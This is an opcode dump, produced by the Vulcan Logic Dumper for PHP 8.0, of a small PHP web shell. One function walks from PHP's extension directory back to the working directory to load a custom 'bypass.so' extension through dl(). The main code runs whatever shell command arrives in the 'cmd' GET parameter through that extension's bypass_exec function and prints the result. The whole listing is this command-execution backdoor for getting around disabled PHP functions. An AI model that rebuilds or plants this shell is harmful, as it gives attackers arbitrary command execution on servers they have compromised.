Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 17, Position 2 = 27
Branch analysis from position: 17
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 27
filename: /in/8BHYk
function name: (null)
number of ops: 28
compiled vars: !0 = $output
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
50 0 E > BEGIN_SILENCE ~1
1 INIT_FCALL 'ini_set'
2 SEND_VAL 'display_errors'
3 SEND_VAL '1'
4 DO_ICALL
5 END_SILENCE ~1
51 6 INIT_FCALL 'error_reporting'
7 SEND_VAL 32767
8 DO_ICALL
53 9 INIT_FCALL 'dl_local'
10 SEND_VAL 'bypass.so'
11 DO_FCALL 0
55 12 BEGIN_SILENCE ~5
13 FETCH_R global ~6 '_GET'
14 FETCH_DIM_R ~7 ~6, 'cmd'
15 END_SILENCE ~5
16 > JMPZ ~7, ->27
56 17 > INIT_FCALL_BY_NAME 'bypass_exec'
18 CHECK_FUNC_ARG
19 FETCH_FUNC_ARG global $8 '_GET'
20 FETCH_DIM_FUNC_ARG $9 $8, 'cmd'
21 SEND_FUNC_ARG $9
22 DO_FCALL 0 $10
23 ASSIGN !0, $10
57 24 CONCAT ~12 '%3Cpre%3E', !0
25 CONCAT ~13 ~12, '%3C%2Fpre%3E'
26 ECHO ~13
58 27 > > RETURN 1
Function dl_local:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 47) Position 1 = 7, Position 2 = 12
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 14
Branch analysis from position: 13
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 14
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 22
Branch analysis from position: 19
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 22
2 jumps found. (Code = 43) Position 1 = 27, Position 2 = 32
Branch analysis from position: 27
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 32
2 jumps found. (Code = 43) Position 1 = 53, Position 2 = 54
Branch analysis from position: 53
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 54
2 jumps found. (Code = 43) Position 1 = 63, Position 2 = 64
Branch analysis from position: 63
1 jumps found. (Code = 42) Position 1 = 72
Branch analysis from position: 72
2 jumps found. (Code = 44) Position 1 = 74, Position 2 = 67
Branch analysis from position: 74
2 jumps found. (Code = 43) Position 1 = 82, Position 2 = 83
Branch analysis from position: 82
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 83
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 67
2 jumps found. (Code = 43) Position 1 = 70, Position 2 = 71
Branch analysis from position: 70
2 jumps found. (Code = 44) Position 1 = 74, Position 2 = 67
Branch analysis from position: 74
Branch analysis from position: 67
Branch analysis from position: 71
Branch analysis from position: 64
Branch analysis from position: 12
filename: /in/8BHYk
function name: dl_local
number of ops: 92
compiled vars: !0 = $extensionFile, !1 = $currentDir, !2 = $currentExtPath, !3 = $subDirs, !4 = $matches, !5 = $extPathLastChar, !6 = $backDirStr, !7 = $i, !8 = $finalExtPath, !9 = $loadedExtensions, !10 = $thisExtName
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
3 0 E > RECV !0
4 1 INIT_FCALL 'ini_get'
2 SEND_VAL 'enable_dl'
3 DO_ICALL $11
4 BOOL ~12 $11
5 BOOL_NOT ~13 ~12
6 > JMPNZ_EX ~13 ~13, ->12
5 7 > INIT_FCALL 'ini_get'
8 SEND_VAL 'safe_mode'
9 DO_ICALL $14
10 BOOL ~15 $14
11 BOOL ~13 ~15
12 > > JMPZ ~13, ->14
6 13 > > EXIT 'Loading+extensions+is+not+permitted.'
9 14 > INIT_FCALL 'file_exists'
15 SEND_VAR !0
16 DO_ICALL $16
17 BOOL_NOT ~17 $16
18 > JMPZ ~17, ->22
10 19 > CONCAT ~18 'File+', !0
20 CONCAT ~19 ~18, '+does+not+exist.'
21 > EXIT ~19
13 22 > INIT_FCALL 'is_executable'
23 SEND_VAR !0
24 DO_ICALL $20
25 BOOL_NOT ~21 $20
26 > JMPZ ~21, ->32
14 27 > CONCAT ~22 'File+', !0
28 CONCAT ~23 ~22, '+is+not+executable.+%28+chmod+%2Bx+'
29 CONCAT ~24 ~23, !0
30 CONCAT ~25 ~24, '+%29'
31 > EXIT ~25
17 32 > INIT_FCALL 'getcwd'
33 DO_ICALL $26
34 CONCAT ~27 $26, '%2F'
35 ASSIGN !1, ~27
18 36 INIT_FCALL 'realpath'
37 INIT_FCALL 'ini_get'
38 SEND_VAL 'extension_dir'
39 DO_ICALL $29
40 SEND_VAR $29
41 DO_ICALL $30
42 ASSIGN !2, $30
20 43 INIT_FCALL 'preg_match_all'
44 SEND_VAL '%2F%5C%2F%2F'
45 SEND_VAR !2
46 SEND_REF !4
47 DO_ICALL $32
48 ASSIGN !3, $32
21 49 UNSET_CV !4
23 50 BOOL ~34 !3
51 BOOL_NOT ~35 ~34
52 > JMPZ ~35, ->54
24 53 > > EXIT 'Could+not+determine+a+valid+extension+path+%5Bextension_dir%5D'
27 54 > STRLEN ~36 !2
55 SUB ~37 ~36, 1
56 ASSIGN !5, ~37
29 57 INIT_FCALL 'strrpos'
58 SEND_VAR !2
59 SEND_VAL '%2F'
60 DO_ICALL $39
61 IS_EQUAL !5, $39
62 > JMPZ ~40, ->64
30 63 > PRE_DEC !3
64 > ASSIGN !6, ''
32 65 ASSIGN !7, 1
66 > JMP ->72
33 67 > ASSIGN_OP 8 !6, '..'
34 68 IS_NOT_EQUAL !7, !3
69 > JMPZ ~45, ->71
35 70 > ASSIGN_OP 8 !6, '%2F'
32 71 > PRE_INC !7
72 > IS_SMALLER_OR_EQUAL !7, !3
73 > JMPNZ ~48, ->67
39 74 > CONCAT ~49 !6, !1
75 CONCAT ~50 ~49, !0
76 ASSIGN !8, ~50
40 77 INIT_FCALL 'dl'
78 SEND_VAR !8
79 DO_ICALL $52
80 BOOL_NOT ~53 $52
81 > JMPZ ~53, ->83
41 82 > > EXIT
45 83 > INIT_FCALL 'get_loaded_extensions'
84 DO_ICALL $54
85 ASSIGN !9, $54
46 86 COUNT ~56 !9
87 SUB ~57 ~56, 1
88 FETCH_DIM_R ~58 !9, ~57
89 ASSIGN !10, ~58
47 90 > RETURN !10
48 91* > RETURN null
End of function dl_local
Generated using Vulcan Logic Dumper, using php 8.0.0